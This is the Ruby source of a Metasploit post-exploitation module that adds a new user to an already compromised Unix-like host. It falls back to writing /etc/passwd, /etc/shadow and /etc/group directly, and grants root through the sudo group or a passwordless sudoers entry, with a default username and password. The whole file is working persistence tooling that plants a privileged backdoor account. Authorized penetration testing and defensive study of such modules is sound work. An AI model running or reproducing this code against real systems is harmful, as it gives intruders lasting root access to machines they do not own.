# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework require 'unix_crypt' class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix include Msf::Post::Linux::System def initialize(info = {}) super( update_info( info, 'Name' => 'Add a new user to the system', 'Description' => %q{ This command adds a new user to the system }, 'License' => MSF_LICENSE, 'Author' => ['Nick Cottrell '], 'Platform' => ['linux', 'unix', 'bsd', 'aix', 'solaris'], 'Privileged' => false, 'SessionTypes' => %w[meterpreter shell], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [CONFIG_CHANGES] } ) ) register_options([ OptString.new('USERNAME', [ true, 'The username to create', 'metasploit' ]), OptString.new('PASSWORD', [ true, 'The password for this user', 'Metasploit$1' ]), OptString.new('SHELL', [true, 'Set the shell that the new user will use', '/bin/sh']), OptString.new('HOME', [true, 'Set the home directory of the new user. Leave empty if user will have no home directory', '']), OptString.new('GROUPS', [false, 'Set what groups the new user will be part of separated with a space']) ]) register_advanced_options([ OptEnum.new('UseraddMethod', [true, 'Set how the module adds in new users and groups. AUTO will autodetect how to add new users, MANUAL will add users without any binaries, and CUSTOM will attempt to use a custom designated binary', 'AUTO', ['AUTO', 'MANUAL', 'CUSTOM']]), OptString.new('UseraddBinary', [false, 'Set binary used to set password if you dont want module to find it for you.'], conditions: %w[UseraddMethod == CUSTOM]), OptEnum.new('SudoMethod', [true, 'Set the method that the new user can obtain root. SUDO_FILE adds the user directly to sudoers while GROUP adds the new user to the sudo group', 'GROUP', ['SUDO_FILE', 'GROUP', 'NONE']]), OptEnum.new('MissingGroups', [true, 'Set how nonexisting groups are handled on the system. Either give an error in the module, ignore it and throw it out, or create the group on the system.', 'ERROR', ['ERROR', 'IGNORE', 'CREATE']]), OptEnum.new('PasswordHashType', [true, 'Set the hash method your password will be encrypted in.', 'MD5', ['DES', 'MD5', 'SHA256', 'SHA512']]) ]) end # Checks if the given group exists within the system def check_group_exists?(group_name, group_data) return group_data =~ /^#{Regexp.escape(group_name)}:/ end # Checks if the specified command can be executed by the session. It should be # noted that not all commands correspond to a binary file on disk. For example, # a bash shell session will provide the `eval` command when there is no `eval` # binary on disk. Likewise, a Powershell session will provide the `Get-Item` # command when there is no `Get-Item` executable on disk. # # @param [String] cmd the command to check # @return [Boolean] true when the command exists def check_command_exists?(cmd) command_exists?(cmd) rescue RuntimeError => e fail_with(Failure::Unknown, "Unable to check if command `#{cmd}' exists: #{e}") end def d_cmd_exec(command) vprint_status(command) print_line(cmd_exec(command)) end # Produces an altered copy of the group file with the user added to each group def fs_add_groups(group_file, groups) groups.each do |group| # Add user to group if there are other users group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:.+)$/, "\\1,#{datastore['USERNAME']}") # Add user to group of no users belong to that group yet group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:)$/, "\\1#{datastore['USERNAME']}") end if datastore['MissingGroups'] == 'CREATE' new_groups = get_missing_groups(group_file, groups) new_groups.each do |group| gid = rand(1000..2000).to_s group_file += "\n#{group}:x:#{gid}:#{datastore['USERNAME']}\n" print_good("Added #{group} group") end end group_file.gsub(/\n{2,}/, "\n") end # Provides a list of groups that arent already on the system def get_missing_groups(group_file, groups) groups.reject { |group| check_group_exists?(group, group_file) } end # Finds out what platform the module is running on. It will attempt to access # the Hosts database before making more noise on the target to learn more def os_platform if session.type == 'meterpreter' sysinfo['OS'] elsif active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.os_name host = framework.db.workspace.hosts.where(address: session.session_host).first if host.os_name == 'linux' && host.os_flavor host.os_flavor else host.os_name end else get_sysinfo[:distro] end end # Validates the groups given to it. Depending on datastore settings, it will # give a trimmed down list of the groups given to it, and ensure that all # groups returned exist on the system. def validate_groups(group_file, groups) groups = groups.uniq # Check that group names are valid invalid = groups.filter { |group| group !~ /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/ } if invalid.any? && datastore['MissingGroups'] == 'IGNORE' groups -= invalid vprint_error("The groups [#{invalid.join(' ')}] do not fit accepted characters for groups. Ignoring them instead.") elsif invalid.any? # Give error even on create, as creating this group will cause errors fail_with(Failure::BadConfig, "groups [#{invalid.join(' ')}] Do not fit the authorized regex for groups. Check your groups against this regex /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/") end # Check to see that groups exist or fail groups_missing = get_missing_groups(group_file, groups) unless groups_missing.empty? if datastore['MissingGroups'] == 'ERROR' fail_with(Failure::NotFound, "groups [#{groups_missing.join(' ')}] do not exist on the system. Change the `MissingGroups` Option to deal with errors automatically") end print_warning("Groups [#{groups_missing.join(' ')}] do not exist on system") if datastore['MissingGroups'] == 'IGNORE' groups -= groups_missing print_good("Removed #{groups_missing.join(' ')} from target groups") end end groups end # Takes all the groups given and attempts to add them to the system def create_new_groups(groups) # Since command can add on groups, checking over groups groupadd = check_command_exists?('groupadd') ? 'groupadd' : nil groupadd ||= 'addgroup' if check_command_exists?('addgroup') fail_with(Failure::NotFound, 'Neither groupadd nor addgroup exist on the system. Try running with UseraddMethod as MANUAL to get around this issue') unless groupadd groups.each do |group| d_cmd_exec("#{groupadd} #{group}") print_good("Added #{group} group") end end def run fail_with(Failure::NoAccess, 'Session isnt running as root') unless is_root? case datastore['UseraddMethod'] when 'CUSTOM' fail_with(Failure::NotFound, "Cannot find command on path given: #{datastore['UseraddBinary']}") unless check_command_exists?(datastore['UseraddBinary']) when 'AUTO' fail_with(Failure::NotVulnerable, 'Cannot find a means to add a new user') unless check_command_exists?('useradd') || check_command_exists?('adduser') end fail_with(Failure::NotVulnerable, 'Cannot add user to sudo as sudoers doesnt exist') unless datastore['SudoMethod'] != 'SUDO_FILE' || file_exist?('/etc/sudoers') fail_with(Failure::NotFound, 'Shell specified does not exist on system') unless check_command_exists?(datastore['SHELL']) fail_with(Failure::BadConfig, "Username [#{datastore['USERNAME']}] is not a legal unix username.") unless datastore['USERNAME'] =~ /^[a-z][a-z0-9_-]{0,31}$/ # Encrypting password ahead of time passwd = case datastore['PasswordHashType'] when 'DES' UnixCrypt::DES.build(datastore['PASSWORD']) when 'MD5' UnixCrypt::MD5.build(datastore['PASSWORD']) when 'SHA256' UnixCrypt::SHA256.build(datastore['PASSWORD']) when 'SHA512' UnixCrypt::SHA512.build(datastore['PASSWORD']) end # Adding sudo to groups if method is set to use groups groups = datastore['GROUPS']&.split || [] groups += ['sudo'] if datastore['SudoMethod'] == 'GROUP' group_file = read_file('/etc/group').to_s groups = validate_groups(group_file, groups) # Creating new groups if it was set and isnt manual if groups.any? && datastore['MissingGroups'] == 'CREATE' && datastore['UseraddMethod'] != 'MANUAL' create_new_groups(get_missing_groups(group_file, groups)) end # Automatically ignore setting groups if added additional groups is empty groups_handled = groups.empty? # Check database to see what OS it is. If it meets specific requirements, This can all be done in a single line binary = case datastore['UseraddMethod'] when 'AUTO' if check_command_exists?('useradd') 'useradd' elsif check_command_exists?('adduser') 'adduser' else 'MANUAL' end when 'MANUAL' 'MANUAL' when 'CUSTOM' datastore['UseraddBinary'] end case binary when /useradd$/ print_status("Running on #{os_platform}") print_status('Useradd exists. Using that') case os_platform when /debian|ubuntu|fedora|centos|oracle|redhat|arch|suse|gentoo/i homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}" # Since command can add on groups, checking over groups groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}" # Finally run it d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' ')) groups_handled = true else vprint_status('Unsure what platform we\'re on. Using useradd in most basic/common settings') # Finally run it d_cmd_exec("#{binary} #{datastore['USERNAME']} | echo") d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e") end when /adduser$/ print_status("Running on #{os_platform}") print_status('Adduser exists. Using that') case os_platform when /debian|ubuntu/i print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step') homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home #{datastore['HOME']}" d_cmd_exec("#{binary} --disabled-password #{homedirc} --shell #{datastore['SHELL']} #{datastore['USERNAME']} | echo") d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e") when /fedora|centos|oracle|redhat/i homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}" # Since command can add on groups, checking over groups groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}" # Finally run it d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' ')) groups_handled = true when /alpine/i print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step') homedirc = datastore['HOME'].empty? ? '-H' : "-h #{datastore['HOME']}" d_cmd_exec("#{binary} -D #{homedirc} -s #{datastore['SHELL']} #{datastore['USERNAME']}") d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e") else print_status('Unsure what platform we\'re on. Using useradd in most basic/common settings') # Finally run it d_cmd_exec("#{binary} #{datastore['USERNAME']}") d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e") end when datastore['UseraddBinary'] print_status('Running with command supplied') d_cmd_exec("#{binary} #{datastore['USERNAME']}") d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e") else # Checking that user doesnt already exist fail_with(Failure::BadConfig, 'User already exists') if read_file('/etc/passwd') =~ /^#{datastore['USERNAME']}:/ # Run adding user manually if set home = datastore['HOME'].empty? ? "/home/#{datastore['USERNAME']}" : datastore['HOME'] uid = rand(1000..2000).to_s append_file('/etc/passwd', "#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\n") vprint_status("\'#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\' >> /etc/passwd") append_file('/etc/shadow', "#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\n") vprint_status("\'#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\' >> /etc/shadow") altered_group_file = fs_add_groups(group_file, groups) write_file('/etc/group', altered_group_file) unless group_file == altered_group_file groups_handled = true end # Adding in groups and connecting if not done already unless groups_handled # Attempt to do add groups to user by normal means, or do it manually if check_command_exists?('usermod') d_cmd_exec("usermod -aG #{groups.join(',')} #{datastore['USERNAME']}") elsif check_command_exists?('addgroup') groups.each do |group| d_cmd_exec("addgroup #{datastore['USERNAME']} #{group}") end else print_error("Couldnt find \'usermod\' nor \'addgroup\' on the target. User [#{datastore['USERNAME']}] couldnt be linked to groups.") end end # Adding user to sudo file if specified if datastore['SudoMethod'] == 'SUDO_FILE' && file_exist?('/etc/sudoers') append_file('/etc/sudoers', "#{datastore['USERNAME']} ALL=(ALL:ALL) NOPASSWD: ALL\n") print_good("Added [#{datastore['USERNAME']}] to /etc/sudoers successfully") end rescue Msf::Exploit::Failed print_warning("The module has failed to add the new user [#{datastore['USERNAME']}]!") print_warning('Groups that were created need to be removed from the system manually.') raise end end